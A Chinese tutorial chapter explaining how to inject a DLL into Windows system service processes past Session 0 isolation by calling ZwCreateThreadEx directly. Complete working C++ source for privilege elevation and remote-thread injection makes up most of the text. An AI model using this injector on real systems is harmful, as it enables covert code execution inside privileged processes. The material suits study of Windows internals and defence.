1. 程式人生 > 其它 >第三章 注入技術---突破SESSION 0隔離的遠執行緒注入

第三章 注入技術---突破SESSION 0隔離的遠執行緒注入

一、突破SESSION 0隔離的遠執行緒注入

由於SESSION 0隔離機制,導致傳統遠執行緒注入系統服務程序失敗。經過前人的不斷逆向和探索,發現直接呼叫ZwCreateThreadEx函式可以進行遠執行緒注入,還可突破SESSION 0隔離,成功注入。

二、實現原理

與傳統的CreateRemoteThread函式實現的遠執行緒注入DLL的唯一區別在於,突破SESSION 0遠執行緒注入技術是使用比CreateRemoteThread函式更為底層的ZwCreateThreadEx函式來建立遠執行緒注入,而具體遠執行緒注入原理是相同的。
為什麼使用CreateRemoteThread會注入失敗呢?
通過呼叫CreateRemoteThread函式建立遠執行緒的方式在核心(Windows VISTA、7、8等)以前是完全沒有問題的,但是在核心6.0以後引入了會話隔離機制。它在建立一個程序之後並不立即執行,而是先掛起程序,再檢視要執行的程序所在的會話層之後再決定是否恢復程序。本質原因是:CreateRemoteThread會呼叫ZwCreateThreadEx建立遠執行緒時,第七個引數值為1,它會導致執行緒建立完成後一起掛起無法恢復進行。將其改為零才行,這也是DLL注入失敗的原因。

三、編碼實現

AdjustTokenPrivilegesTest.h

#ifndef _ADJUST_TOKEN_PRIVILEGES_H_
#define _ADJUST_TOKEN_PRIVILEGES_H_
#include <Windows.h>
BOOL EnbalePrivileges(HANDLE hProcess, char* pszPrivilegesName);
#endif

InjectDll.h

#ifndef _INJECT_DLL_H_
#define _INJECT_DLL_H_
#include <Windows.h>
// 使用 ZwCreateThreadEx 實現遠執行緒注入
BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char* pszDllFileName);
#endif

AdjustTokenPrivilegesTest.cpp.cpp

#include "AdjustTokenPrivilegesTest.h"

void EP_ShowError(char* pszText)
{
	char szErr[MAX_PATH] = { 0 };
	::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
	::MessageBox(NULL, szErr, "ERROR", MB_OK);
}


BOOL EnbalePrivileges(HANDLE hProcess, char* pszPrivilegesName)
{
	HANDLE hToken = NULL;
	LUID luidValue = { 0 };
	TOKEN_PRIVILEGES tokenPrivileges = { 0 };
	BOOL bRet = FALSE;
	DWORD dwRet = 0;


	// 開啟程序令牌並獲取具有 TOKEN_ADJUST_PRIVILEGES 許可權的程序令牌控制代碼
	bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
	if (FALSE == bRet)
	{
		EP_ShowError("OpenProcessToken");
		return FALSE;
	}
	// 獲取本地系統的 pszPrivilegesName 特權的LUID值
	bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);
	if (FALSE == bRet)
	{
		EP_ShowError("LookupPrivilegeValue");
		return FALSE;
	}
	// 設定提升許可權資訊
	tokenPrivileges.PrivilegeCount = 1;
	tokenPrivileges.Privileges[0].Luid = luidValue;
	tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	// 提升程序令牌訪問許可權
	bRet = ::AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL);
	if (FALSE == bRet)
	{
		EP_ShowError("AdjustTokenPrivileges");
		return FALSE;
	}
	else
	{
		// 根據錯誤碼判斷是否特權都設定成功
		dwRet = ::GetLastError();
		if (ERROR_SUCCESS == dwRet)
		{
			return TRUE;
		}
		else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
		{
			EP_ShowError("ERROR_NOT_ALL_ASSIGNED");
			return FALSE;
		}
	}

	return FALSE;
}

InjectDll.cpp

#include "InjectDll.h"


void ShowError(char* pszText)
{
	char szErr[MAX_PATH] = { 0 };
	::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
	::MessageBox(NULL, szErr, "ERROR", MB_OK);
}


// 使用 ZwCreateThreadEx 實現遠執行緒注入
BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char* pszDllFileName)
{
	HANDLE hProcess = NULL;
	SIZE_T dwSize = 0;
	LPVOID pDllAddr = NULL;
	FARPROC pFuncProcAddr = NULL;
	HANDLE hRemoteThread = NULL;
	DWORD dwStatus = 0;

	// 開啟注入程序,獲取程序控制代碼
	hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
	if (NULL == hProcess)
	{
		ShowError("OpenProcess");
		return FALSE;
	}
	// 在注入程序中申請記憶體
	dwSize = 1 + ::lstrlen(pszDllFileName);
	pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
	if (NULL == pDllAddr)
	{
		ShowError("VirtualAllocEx");
		return FALSE;
	}
	// 向申請的記憶體中寫入資料
	if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
	{
		ShowError("WriteProcessMemory");
		return FALSE;
	}
	// 載入 ntdll.dll
	HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
	if (NULL == hNtdllDll)
	{
		ShowError("LoadLirbary");
		return FALSE;
	}
	// 獲取LoadLibraryA函式地址
	pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
	if (NULL == pFuncProcAddr)
	{
		ShowError("GetProcAddress_LoadLibraryA");
		return FALSE;
	}
	// 獲取ZwCreateThread函式地址
#ifdef _WIN64
	typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
		PHANDLE ThreadHandle,
		ACCESS_MASK DesiredAccess,
		LPVOID ObjectAttributes,
		HANDLE ProcessHandle,
		LPTHREAD_START_ROUTINE lpStartAddress,
		LPVOID lpParameter,
		ULONG CreateThreadFlags,
		SIZE_T ZeroBits,
		SIZE_T StackSize,
		SIZE_T MaximumStackSize,
		LPVOID pUnkown);
#else
	typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
		PHANDLE ThreadHandle,
		ACCESS_MASK DesiredAccess,
		LPVOID ObjectAttributes,
		HANDLE ProcessHandle,
		LPTHREAD_START_ROUTINE lpStartAddress,
		LPVOID lpParameter,
		BOOL CreateSuspended,
		DWORD dwStackSize,
		DWORD dw1,
		DWORD dw2,
		LPVOID pUnkown);
#endif
	typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
	if (NULL == ZwCreateThreadEx)
	{
		ShowError("GetProcAddress_ZwCreateThread");
		return FALSE;
	}
	// 使用 ZwCreateThreadEx 建立遠執行緒, 實現 DLL 注入
	dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
	if (NULL == hRemoteThread)
	{
		ShowError("ZwCreateThreadEx");
		return FALSE;
	}
	// 關閉控制代碼
	::CloseHandle(hProcess);
	::FreeLibrary(hNtdllDll);

	return TRUE;
}

ZwCreateThreadEx_Test.cpp

// ZwCreateThreadEx_Test.cpp : 定義控制檯應用程式的入口點。
//

#include "InjectDll.h"
#include "AdjustTokenPrivilegesTest.h"
#include<tchar.h>
#include<stdio.h>

int _tmain(int argc, _TCHAR* argv[])
{
	// 提升當前程序令牌許可權
	EnbalePrivileges(::GetCurrentProcess(), SE_DEBUG_NAME);
	// 遠執行緒注入 DLL
#ifndef _WIN64
	BOOL bRet = ZwCreateThreadExInjectDll(8080, "C:\\Users\\DemonGan\\Desktop\\ZwCreateThreadEx_Test\\Debug\\TestDll.dll");
#else 
	BOOL bRet = ZwCreateThreadExInjectDll(2940, "C:\\Users\\DemonGan\\Desktop\\ZwCreateThreadEx_Test\\x64\\Debug\\TestDll.dll");
#endif
	if (FALSE == bRet)
	{
		printf("Inject Dll Error.\n");
	}
	printf("Inject Dll OK.\n");
	system("pause");
	return 0;
}

四、小結

細節注意,ZwCreateThreadEx函式在32位和64位系統下,其函式宣告中的引數是有區別的,一定要區分開來。
由於會話隔離,在系統服務程式裡不能顯示程式窗體,也不能用常規方式建立使用者程序。

一隻小the bug